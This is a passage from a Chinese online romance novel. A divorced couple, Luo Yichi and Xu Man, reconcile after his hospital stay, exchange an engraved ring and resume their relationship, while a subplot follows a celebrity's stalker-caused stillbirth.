“你想结婚,我们就结,你不想结,我们就不结,感情的主动权全部交由你做主,你过得不开心随时可以离开我。” “还有我爸妈,我早就想过了,我们再买套房子,我金屋藏娇,不告诉他们地址,他们绝对不会影响到我们的生活。” “许满,我是真心地,我爱你,这不是轻飘飘的一句话,是我给你的承诺,一生的承诺。” 许满不知什么时候低下了头,沉默不语绞着手指,眼睛再次变得湿润。 她明白骆亦迟的意思,他想告诉她,他下了多大的决心,做了多少的准备,就为了和她在一起。 她已经不太记得,自己当初为什么会被骆亦迟吸引,而又为什么,从那时开始就坚持到现在,坚持了许多年。 命运将他们强硬的捆绑在一起,不管是甜蜜还是苦涩,都一股脑的往他们身上泼,让她里里外外品尝了个彻底。 她知道自己早已坚持不住,一直在苦苦支撑,可是,当意外捷足先登,她发现,相较于安全感,她更怕这个人从此消失。 一句他爱她,她辛苦筑起的防线就可以土崩瓦解,溃为粉末。 她想拒绝,却说服不了自己的心。 想逃,身体却不听话的赖着不走。 “怎么又哭鼻子了?”骆亦迟眼睁睁看着一滴眼泪从她脸上落下。 许满揉揉眼睛,把不争气的眼泪抹去,鼻音浓重的说:“眼睛进沙子了。” “病房里哪儿来的沙子?” “就有!” “给我看看,我给你吹吹。”扣住她的手腕,骆亦迟将她拉到跟前来。 许满借力起身,骆亦迟却就势将她往怀里一带,插着输液管的手臂再次把她拥住。 许满气不打一处来,这人怎么三番两次不把自己的身体当一回事,挣脱着想要甩掉背上作乱的胳膊。 骆亦迟这次是非抱到她不可,半点没个病人的样子,双臂用力将她箍紧。 许满挣脱不得,只得将手撑在枕头边,和骆亦迟四目相对的保持一些距离,“快躺好。” “躺不好,你哭,我心疼。”骆亦迟去摸她的脸,“我看看,眼睛真红了?” 许满闭上眼,把脸错开不让他看,闷闷的带着哭腔说:“骆亦迟,你好讨厌。” “嗯,我讨厌。” “你这么讨厌,总是惹我不开心,总是让我哭。” “嗯,是我不对,我混账。” “你还狗皮膏药一样,甩都甩不掉。” “嗯嗯,我认。” “你就是个很差劲的男人,你就是很糟糕。” “嗯,我做得还不够好,还需努力。” “可是,我能有什么办法呀?” 如果无法说服自己狠心拒绝,那么,不妨赌一次呢? 无数次告诉自己要向前,那何时勇敢迈出第二步呢? 不如,就现在吧! 许满睁开肿得跟核桃一样的眼睛,慢慢的,环住了骆亦迟的脖子。 “你快点好起来,你不好起来,我怎么放心跟你在一起啊?” 第56章 第 56 章 LYC love XM 骆亦迟这次没伤到要害, 就是很不幸的又新添了几处骨折地方,皮肉里还钻进些碎玻璃, 所以浑身包扎严实,看起来比较严重。 但为了践行“努力活长一点”的承诺,住院这段时间,他按时吃饭睡觉,积极配合治疗,很努力的把身体各项指标往正常数值上拉, 最终获得了不错的成效。 开学后许满属于自己的时间就没那么多了,只能周末挤出些空闲来看望他。 这样骆亦迟只能在周末见到许满,所以每到周五,他都格外期盼星期天的到来。 赵靖闻发现他们家老板这次住院格外好伺候, 给什么吃什么,营养汤清汤寡水没有味道, 他却笑眯眯喝得一滴不剩;还让锻炼就锻炼, 让扎针就扎针, 听话的简直不像个正常人。 赵靖闻总觉得骆亦迟跟之前有点不一样了, 之前的他不苟言笑, 浑身上下透着股淡淡的死气儿, 见谁都一副冷冰冰的样子, 一般员工根本不敢轻易靠近。 现在变得爱笑了, 对生活积极向上充满希望, 有时候还很健谈, 赵靖闻恍惚从中看到一些久远的影子, 就像两人刚认识时那样。 他不知道这是好事还是坏事,有时候甚至怀疑,是不是车祸把老板脑子给撞傻了, 一撞回到了七年前。 但很快他就发现自己多虑了,自家老板这样,完全是因为变得惜命了,不然就没法解释,为什么会催着他找私人医生这回事了。 当然惜命的原因还有另一个。 “现在几点了?”这是骆亦迟今天问的第四次了。 赵靖闻耐心回答:“中午十二点三十二分,骆总。” 每到星期天,骆亦迟就变得对时间格外敏感,连工作都不安排,因为这天许满要来。 虽然许满从不失约,但每次来的时间都不固定,有时候是早上,有时候是中午,上周更是傍晚才来。 骆亦迟等得抓心挠肝,饭都吃得心不在焉。 房门一响,他急切的探头张望,看见江淮提着精致果篮进来的一瞬间,脸色瞬间变成失望。 “啧?脸垮成这样,不想看见我?” 江淮放下果篮,一屁股坐在床边,掰着骆亦迟的脸审视,半晌,惊叹道:“咋恢复的?听说满脸都是玻璃碴子划的伤口,这才几天就快恢复如初了?什么牌子的祛疤膏,也给我推荐推荐。” “去你的。”骆亦迟拍掉江淮的手,随便应付了几句,又开始频频往门口张望。 江淮随着他视线去看,什么都没看到,经赵靖闻提醒才反应过来骆亦迟在做什么,看骆亦迟的眼神立马就变得耐人寻味,“瞧你那没出息样儿,快别看了,我自己一个人来的,没跟许老师一起。” 期待落了空,骆亦迟无精打采的往后一靠。 江淮笑他,“一听许老师没来就这样,怎么着,不欢迎我是吧?” 骆亦迟白他一眼,“你能跟她比吗?” “哎哟哟,比不过比不过不对,是不敢比不敢比。” 江淮取笑意味明显,等取笑完,从口袋里掏出个包裹精美的小包裹。 “不欢迎我,这东西总得欢迎吧?你那草图画的狗屎一样,普普通通没有任何亮点,一般人还真看不懂你的抽象画法,得亏我在意大利受过艺术熏陶,再抽象的画都能看出个三五门道来,再加上我舌灿莲花的生动描述,终于让人懂了你的设计理念。” 骆亦迟一骨碌坐起来,一改颓丧的神情,拆开纸质包装,取出里面精美的墨绿色绒布盒子。 盒子打开,一枚精致小巧的戒指立在上面,圆形戒托上托着一颗切割完美色泽纯净的圆形大钻石,在顶灯照耀下,闪烁出耀眼光芒。 “这么快?不是说得排队吗?我还以为至少得半年呢。” “当然要半年!这不我面子大吗?留学时认识几个狐朋狗友,正巧有一个就拜在了这位老师傅名下,这才插了个队。” 江淮说着,继而疑惑道:“许老师手有那么小吗?这圈号会不会戴不上啊。” 内圈刻了一行字,骆亦迟确认正确无误,把戒指重新放回去,啪的一下扣上盒子,“她手长什么样我比你清楚,放心,这尺寸合适,不会返工。” 骆亦迟宝贝的把戒指收好,江淮很正色的问:“你俩这就成了?戒指都有了,打算什么时候复婚?” 一提复婚,骆亦迟脸又垮了。 许满压根没这方面的意思,骆亦迟明里暗里提了几次,许满都没答应,搞得他都怀疑那天看到听到的是不是幻觉了。 江淮猜中,讶异道:“不是吧?这是没打算复婚?” 骆亦迟苦笑:“可能还不到时候吧,等我再把许满的心捂捂,我还打算长命百岁呢,就不信等不到了。” 那本前脚被他亲手撕碎,后脚就被赵靖闻捡起来用胶带粘好的离婚证现在就带在身上,就等许满答应下来时,他好第一时间冲进民政局去,奈何许满不松口,他就一直没得到机会实施。 这也没办法,谁让他自己把话放在前头,让许满自己决定复不复婚呢? 江淮没这样爱过人,不懂怎么爱了一场就如此卑微了,只能五体投地的感叹,“爱情,婚姻,难懂。” 两人聊了会儿天,骆亦迟不住翻手机,不是看时间,就是打开微信置顶联系人。 江淮看他那思春样子就有些受不了,揶揄道:“我今儿是不是来得不是时候啊?趁许老师没来,要不我还是赶紧走吧,免得一会儿当了电灯泡。” 一听江淮要走,骆亦迟脑子里忽地冒出个想法,“你要走啊,走之前再帮我办件事呗。” “什么事?要定男戒了?告诉你现在插不了队了啊!” 骆亦迟嘿嘿一笑,“不是,是让你帮我问问许满,她今天来不来。” “” 什么叫见色忘友,在骆亦迟这儿是体现得淋漓尽致。 江淮目露鄙夷,“你不会自己问?” 骆亦迟眉头一拧,欲言又止。 江淮想到什么,惊道:“你不会还没从黑名单里放出来吧?你俩不是和好了吗?” 骆亦迟脸上浮现出一丝难以言喻的微笑,不是没放出来,实际上他压根不知道自己什么时候被放出来的,也就是许满回学校后好几天没来看他,他想她想得不行,对着满是感叹号的聊天框试探着发了一句【我想你了】,没想到不仅没弹出感叹号,还及时收到了一条回复:【周末去看你。】 当时骆亦迟激动的话都说不出来了,差点从床上弹起来,将手机拿起又放下,放下又拿起,如此循环往复三四次,才确认自己没有看错,许满真的解除了对他的黑名单惩罚。 虽然许满答应和他重新在一起,也恢复了聊天方式,但他总战战兢兢的,觉得这一切像个肥皂泡一样不真实,稍不注意,之前的努力就会功亏一篑。说话得多想想再说,怕嘴一快说错了,发信息得多斟酌斟酌再发,怕发多了惹人烦,被二次拉黑。 “让你问你就问,哪来那么多问题?”骆亦迟有些不耐烦。 江淮瞪大眼睛:“这是你求人的态度吗?” 骆亦迟斜眼看他。 江淮收起玩笑心思:“好好好,不逗你了,看在你是病号的面子上,我就勉为其难发发善心,帮你问问。” 话毕,拨通了许满电话。 “喂?许老师,在哪儿呢,这儿有个人想你想得不正常了,茶饭不思,寝食难安他啊,他自己不好意思问你什么时候来,所以让我来问呢。哦,到住院部楼下了啊,好好好,人好着呢,活蹦乱跳的现在,正站在窗户边对着镜子臭美呢。” 骆亦迟那手持镜还没怼到脸前,就听见了这么一句。 江淮挂断电话,骆亦迟也搜寻到了楼下朝思暮想的身影,迅速拨弄好额前那几撮被压变形的刘海,抑制不住内心雀跃的责备:“让你打个电话怎么那么多废话。” “我们做老师的别的特长不会,能侃是第一。好了,别弄你那几根毛了,东西带到,我任务完成,就不打扰你和许老师浓情蜜意了。” “你要走啊?” “听这意思你想留我?也行,没一瓶轩尼诗李察搞不定啊。” 骆亦迟挥手赶人,“跟你客气两句你还当真了,快走吧,不送。” “哈哈哈哈。”江淮仰天大笑的走了。 许满进来不见江淮,还奇怪,“江老师呢?” 骆亦迟撒谎都不脸红,“他说学校有事,先走了。” 病房里没其他人在,许满问:“就你一人?” “嗯。” “赵秘书呢?” “今天星期天,他做完事回去休息了。” 每次许满来看望骆亦迟,病房里都没别人,她怀疑是骆亦迟提前把人都支走了,但又没有证据。 放下东西,许满说:“上午跟学生开了个组会,所以来晚了。” 骆亦迟很大度:“你有事你就忙,不来也可以的。” 不来也可以? 如果不来也可以,那干嘛让江淮给她打电话? 许满看破不说破,唇角一扬,不咸不淡的说,“行,那现在提前跟你说一声,下周要是忙的话,我就不来了。” “” 什么叫打肿脸充胖子,现在就是。 骆亦迟后悔逞能了,转头就厚脸皮的将说出去的话收回,“你要是不来,我就去找你,又不是异地恋,哪有谈恋爱一周不见面的。” 许满戳戳骆亦迟胸口,“找我?就你这下床离不开轮椅的样子,能离开医院吗?” 骆亦迟一把攥住许满的手指头,拽着就往嘴边送,“怎么不能?打着吊瓶我也要老张把我送你学校去。” “别贫嘴了,好好配合治疗,争取早日出院。” 许满把手抽走,没抽动,被骆亦迟就势一拉,拉进怀里双双倒在了病床上。 “好想快点出院。”骆亦迟畅想出院后的情景,“出院后,我就在你住的小区里租个房子,这样就能天天见到你了。” “不嫌我那儿离你公司远吗?” “不嫌,顶多我错峰出行,走高架很快的。” 许满点了点头,忽然想到骆亦迟腿骨折过,开车可能会受影响,又摇摇头,“还是去你那儿住吧,离公司近,你腿没压力。” “那你呢?你不就离学校远了?” “我?想什么呢,我当然还住我那儿。” “不住一起啊?” “当然不住一起。” “” 骆亦迟不说话了,许满想从他身上起来,结果骆亦迟不松手,她离不开,只得推着他说:“想什么呢?快放开我,我要去卫生间。” 骆亦迟声音闷闷的:“在想什么时候我们才能像以前一样,天天住一起。” 许满:“这个啊,等我做好准备再说吧。” 什么时候做好准备呢?许满自己也不确定。 不过话说回来,华庭府2202现在还在骆亦迟名下,骆亦迟要是硬挤进来和她住一起,那她这个没有合同约束的租客似乎没有权利拒绝吧?. 四月初,春暖花开,草长莺飞,骆亦迟终于出院了。 那天风和日丽,艳阳高照,骆亦迟提前跟许满说好,许满来接他。 住了一个半月的医院,终于不用再呼吸混合着消毒水味的空气,骆亦迟满血复活,心情好得不得了。 老张早就从赵靖闻那里听说骆亦迟追妻成功,上车后看看骆亦迟,又看看许满,问了一个核心问题:“去哪儿?” 在骆家干了这么多年,骆亦迟以为老张早该化身他肚子里的蛔虫,怎么这时候还会问出这么没水平的问题来。 还没等给老张使眼色,许满先开口了,“还能去哪儿,当然是骆亦迟家啊,难不成回公司?” 老张得令,油门一踩,直奔市中心那套大平层去。 骆亦迟一路没说话,等到了家,赵靖闻和老张一起帮他把行李搬进屋后离开,骆亦迟从后面猛地抱住正在打量这套旧居的许满,不满的说:“怎么不让我去你那里?” “想来看看。”许满将头抵在骆亦迟的肩膀上,“那天在医院,你不是答应我,要回这里住吗?” 回忆的目光扫过客厅,许满没有想到,时隔多年,这套房子竟然还维持着她离开时的样子。 玄关上的摆件,茶几上插着花枝的花瓶,墙上的油画和照片,地砖反射在天花板上的细碎阳光她其实都快忘记它们的样子,当再次看到的时候,又与记忆深处的模样一个个吻合在一起。 许满心里升出一丝说不上来的感觉,像是朦朦胧胧的酸,又像是虚虚实实的苦,借着脚下这栋建筑物,恍惚在告诉她,她只是离开了很短的时间,而这里的一切,不管是人还是物,都还在等她回来一样。 “这里太大了,你不在,好冷清。”骆亦迟说。 许满轻笑:“我现在不是在吗?” 口袋里的东西在身上放了大半个月,骆亦迟现在才有勇气将它掏出来,打开,郑重其事送到许满面前。 许满微微一讶,看见黑色的绒布托上,一枚漂亮的钻石戒指。 但却并不去触碰,只是专注的看着。 “不只是想要你现在在。” 骆亦迟轻声说着,把戒指取出来,将刻在内圈的花体小字展示给许满看。 LYC love XM 他爱许满,于是将这句承诺刻在戒指上,让她亲眼看到。 然后托起她的手,亲自给她戴在无名指上。 还是11号的圈戒,不大不小,正好合适。 许满的指节比初婚时大了一点,那次在流云湾的山洞里避雨时,骆亦迟就发现了。 戒指戴好,许满五指伸开,迎着阳光端详钻石折射出的耀眼光芒,“钻太大了,好招摇,还是之前的小钻日常。” “没关系,就是想让你招摇一点。” 旧戒指丢就丢了吧,那枚没有承载过承诺的戒指,他不想再让许满戴了。 “只有我的吗?你的呢?” 许满摸了摸放在自己腰间的大手,骆亦迟的无名指上,戴着的还是那枚旧戒。 “没换吗?”她问。 骆亦迟头埋进许满的颈窝里,“没有,想让你亲自帮我选一个,等到你答应和我复婚的那天,再亲自帮我戴上。” 许满心里一咯噔。 “我可以等,哪怕是一辈子。”颈间吐息温热,她听到他这样说。 怀抱又紧了一些,许满后背贴在温暖的胸膛上,隔着薄薄两层衣物,他的温度传递到她的身心。 骆亦迟心里打着鼓,很小心的问了一个问题,“刚才的话还没说完,除了现在,今晚你也可以在吗?” “什么?” “今晚能不能留下来?” 他不敢强硬要求,温热的呼吸喷洒在她的耳侧,可怜兮兮的小声请求,“你说过的,你今天下午没课,明天又是星期天好不好?” 许满久久没有回答。 忐忑的心让骆亦迟乱了呼吸,握住许满的手,嘴唇颤抖的流连在怀中人的耳廓附近。 每当许满不回答,骆亦迟就忍不住怀疑,那天劫后余生听到的话不是真的,而是脑子被撞后产生的臆想。 他迫切的想得到证实。 “好不好?许满,告诉我这一切不是梦,你是真的回到我身边了。” 不知等了多久,怀里的人转过身来。 许满勾住骆亦迟脖子,仰头望着他情_欲翻涌的眼睛,“前几天才通知学生,说今天下午要开组会” 骆亦迟愣住,那怎么办?不想让许满走,又不想影响她工作。 许满眼底闪过一抹羞涩:“理由我想好了,就说我有事赶不回去,延期到下周——” 一瞬间,骆亦迟的眼睛里迸发出惊喜的光芒。 未等许满把话说完,吻猝不及防落下来,许满只来得及闷哼一声,后面的话便被堵了个干干净净。 她不记得是怎么被抱进卧室的,回过神来时,她正躺在床上,而骆亦迟正撑在她的上方,含情脉脉的看着她,像看一件失而复得的珍宝,小心而郑重的在她额上印下一个吻。 “满满,可以吗?我想太久了” 回答的话难以启齿,即使早在很久以前,两人就对彼此的身体已经熟悉,可是毕竟过了这么多年,那份熟悉早已化作久远的记忆尘封在心底,等再拿出来时,抚落灰尘,久违的新鲜感从中冒了出来,飘转进心里,化成了脸颊上的一抹羞涩。 大概这就是所谓的近乡情怯吧,许满不着调的想。 “满满” 骆亦迟叫着她的名字,催着她回应,呼吸渐渐失去节奏。 许满闭上眼,仰起头,以吻作答 浴火点燃,焚身灼心。 两个久违的亲密之人,相拥着,在口口中共沉沦。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m THE END 第57章 第 57 章 只要有你。 紧急关头, 许满让骆亦迟退了出去。 床单一片狼藉,骆亦迟胡乱清理干净, 抱起许满进了浴室。 热水洒下来,他伸手想帮许满清洗。 许满下意识拒绝。 想起那个地方第一次被那样对待,还有点脸红心跳,“还是我自己来吧,有,有口水我自己洗会洗得比较干净。” “哦, 好” 骆亦迟怔怔的,举着花洒愣了好一会儿才反应过来许满说的是什么,脸上温度蓦地蹿升,神色极其不自然的转过了头去。 他在这里, 许满根本不好意思洗,红着脸指挥他出去, “你帮我找件能穿的衣服吧, 我洗完澡穿。” “好。” 骆亦迟同手同脚出了浴室。 门关上, 调试好水温, 许满站在了水流下面。 热水从头顶浇下, 没过皮肤上的点点红痕, 浸入毛孔, 酸软疲惫的身体得到舒缓放松。 空虚了六七年, 再尝情|事, 她还是会被那个人调动起来, 不由自主的去迎合, 在某种频率上心照不宣的契合到一起。 许满不想怀孕,或者说,是还没做好怀孕的准备。 她在浴室里洗了很久, 直到外面响起催促的敲门声,骆亦迟压低声音问她,“是不是哪里不舒服?” 她才仓促冲洗掉身上的泡沫,裹上浴巾出来。 骆亦迟在隔壁客卫洗了澡,换掉床单,穿着宽松的家居服等在浴室门口,手里拿着一件白色的棉质衬衣。 “穿这件吧,干净的,我只穿过一次。” 许满兜头套上,转身回卫生间里吹头发。 清瘦的身体罩在宽松的白衬衫里,细长双腿从衣摆下面露出来,吹头发的动作带着衣摆一上一下,那双修长细腿便随之若隐若现,在骆亦迟眼前不停的晃啊晃,晃的他一阵口干舌燥。 头发吹干,许满转身就对上骆亦迟发暗的眼神,向前的脚步一滞,瑟缩的收回了一点脚。 “怎么了?我脸上有什么吗?” 她摸摸脸,回头看向身后的镜子,脸上干干净净的,除了脖子上有几处鲜艳红印外,别的什么都没有。 镜子里,裹着浴袍的男人向她款步走近。 沐浴过后的乌木清香扑鼻而来,男人从背后拥住她,双臂环上她的腰肢,鼻子在她的头发里蹭了蹭,埋了进去。 骆亦迟总喜欢用这个姿势抱她。 “许满。” 他有很多话要说,最后能表达的,只有“许满”这两个字。 一直担惊受怕许满给他的是一栋海市蜃楼,如今雾霭散去,海市蜃楼落了地,他终于回到了阔别已久的“家”里。 骆亦迟觉得自己不再是一具行尸走肉,在这个春暖花开的季节,他很幸运的没有死去,他的“家”重新接纳了他,他的心脏因此而重新鲜活的跳动,早已不存在的血肉也因此疯狂的生长回来。 他拥紧许满,牢牢的,将她箍得密不透风。 曾经贪心的想平衡好每个人,却不甚失去了最宝贵的那一个。 如今,他不奢求更多了,因为最想要的那个,已经回到身边了。 “谢谢,谢谢你回来。”. 娱乐圈最近爆了一条消息,当红明星池柠突然高调宣布,因身体原因,要暂别娱乐圈一段时间。 消息一出,网友们炸开了锅。 黑粉第一时间下场说是炒作,按照池柠一惯的操作来说,狗屁身体原因,都是为了博同情博热度博关注。 路人吃瓜,说去年刚拿奖,今年就修养,搞不懂她想干什么,想学九十年代的港星?把事业停在最辉煌的时候,留个好的路人缘? 只有粉丝心疼正主,说姐姐在事业如日中天的时候突然暂别,肯定是身体损害到了一定程度才做此决定,因为身体不允许,姐姐的事业心一直很佛,栀子花们支持姐姐,姐姐一定要养好身体,期待姐姐的早日回归! 各路网友众说纷纭,消息在网上挂了几天,热度散了,新的娱乐八卦出现,网友们便不讨论了,转身津津有味吃起了别的瓜。 本以为这件事就这样了,后来一天,一个路人账号悄悄冒出来,带着“池柠暂别娱乐圈”的词条发了一条帖子。 【这是池柠吗?怎么和经纪人出现在法国的私人妇产医院里?看样子是怀孕了来做产检,肚子都鼓起来了。】 照片里,身材纤细的女子穿着一件燕麦色长款毛衣,小腹线条微微隆起,正被一个瘦高男人搀扶着从医生办公室里出来。 女子戴了帽子和口罩,看不清面容,但旁边那张四分之三的男性侧脸,确实是池柠的经纪人廖延没错。 网络再度炸开了锅。 路人粉第一个震惊,池柠怀孕了?什么时候怀的?不对,应该问她什么时候结婚的? 池柠的粉丝辩解称,谁说廖延陪着的就一定是池柠?廖延IP地址在法国,怀孕的是廖延女朋友也说不定啊?姐姐在休养呢,别看到个女的就往姐姐身上扣! 只有黑粉冷静的通过身材和服装,以及池柠最近的行程准确断定,照片上的女子就是池柠本人,并发出灵魂疑问:这怀的又是哪位前任或现任的孩子? 池柠没做回应,经纪人和公司也都保持沉默,帖子的热度没持续多久,便渐渐的沉了下去。 这样过了一个多月,更劲爆的消息漂洋过海,带着“池柠”两个字,又一次出现了在国内热搜上。 法国时间与国内相差七个小时,当地时间一大早,池柠从家里出发去做产检,路上被私生追车跟踪,车子在避让过程中不甚撞上路旁基石,池柠受到撞击颠簸,陷入了昏迷。 抢救结果还没出来,热搜词条就已经爆了一整屏,池柠怀孕、池柠早产、抵制私生相关词条层出不穷,不断冲击着网友们旺盛的八卦欲。 路人先前发的帖子被顶上来,网友们根据时间线抽丝剥茧,分析池柠的怀孕时间和孩子生父,分析还没得出结论,抢救结果也姗姗来迟的被放到了网上。 因为受到剧烈撞击,池柠出现了胎盘早剥的症状,私生阻挠延误了抢救时间,八个月大的胎儿因此窒息死在了在宫内 新闻看到这儿,许满就再也看不下去了。 池柠这根刺虽然给她留下过创口,但那孩子却是无辜的。 她经历过流产,能感同身受失去孩子的痛苦,更何况是八个月的胎儿,已经成形了,如果抢救及时,是可以活下来正常养大的。 池柠现在的状况一定很糟糕,许满犹豫该不该主动去安慰她,后又转念一想,安慰她的人应该很多,不缺她这一个。 新闻热度居高不下,不停的发酵,许满时刻关注最新消息,晚上的时候,骆亦迟下班回来——许满还住在学校旁边的华庭府,骆亦迟非要跟她挤在一起住,不嫌远,也不嫌小,美其名曰,有许满的地方才是家,家就在哪儿,他就在哪儿。 许满担心他开车时间长,腿会受不了,后来发现他会根据当天的情况自动判断能不能开车,如果不能,就让老张接送他。 这个方案没有毛病,许满反驳不了,便懒得跟他掰扯,爱住哪儿住哪儿的随了他意愿。 夜里躺在床上,许满满脑子都是池柠的事儿,翻来覆去睡不着,思前想后一顿挣扎,还是跟骆亦迟说了。 “你看新闻了吗?池柠孩子没了。” 骆亦迟顿了顿,平静回答:“没看,听赵靖闻说过了,知道些情况。” 许满观察他的反应,没像想象中那样有太大波动,好久,垂下眼眸。 骆亦迟敏锐道:“怎么了?” 许满转身背对他,“没怎么,感觉你看起来好像不是很在意。” 骆亦迟把她拨过来,迫使她跟他面对面。 “我应该表现得很在意吗?” “不应该吗?那可是个八个月的孩子!生下来就是个人了,这样流产,池柠身体也会受损的!” 许满说完拉拉被子,将头蒙住一些,只露出个头顶来。 骆亦迟手探进被子下面,将她捞起带进怀里,长叹了口气,才说:“我难受过,因为我想到了自己。如果那天我没食言,我去送你,如果我早点发现现在的我已经是两个孩子的爸爸了。” 失去孩子的痛苦会随时间流逝而逐渐被淡忘,但在骆亦迟这里,却是截然相反的现象。 当爱萌芽,过往那些伤痛像是后劲极大的酒,辛辣苦涩的咽下去,以为可以不当一回事,却在夜深人静四下无人的时候,在他深深思念许满的时候,静悄悄的泛上来,慢慢侵蚀他的感官和肺腑。 许满微微抬起眼皮,快被忘却的记忆重新被提起,心里泛起一抹酸涩。 “我还以为,你对他们无动于衷呢。” 骆亦迟回忆着说,“不想还好,一想起来就后悔,恨不得穿越回去,一巴掌打醒那时混账的自己,要是打不醒,就把你抢走,让他找不到你躲起来自己哭去。” 许满被逗得一笑,“你对那时候的你很了解啊,知道打不醒。” “嗯。” 正因为了解,所以才悔不当初。 “骆亦迟。”短暂的沉默过后,许满试探着问了一个问题,“你想要孩子吗?” 想吧,当然是想过的。 可是相比之下 骆亦迟吻了一下许满额头,“孩子对我来说没你重要,我只要有你就够了。” 被子窸窸窣窣,许满挪动身体,放松的把脸埋在骆亦迟的胸膛上。 鼻尖呼吸着温暖的气息,她的心慢慢的沉静下来。 当初匆匆怀孕匆匆结婚,在还没明白爱情是怎么一回事的时候,就被命运推着向前,栽了个大跟头,摔得鼻青脸肿的离开,最后一无所有的退场。 从没想过骆亦迟会爱上她,更没想过,命运会再度将他们绑到一起。 如今一切都在慢慢好起来,她的所求正如她所愿那样,向着完满的人生不断靠近。 许晋文给她取名“满”,这一刻,这个名字才有了真正的意义。 当下知足,未来未来的事,未来再说吧。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m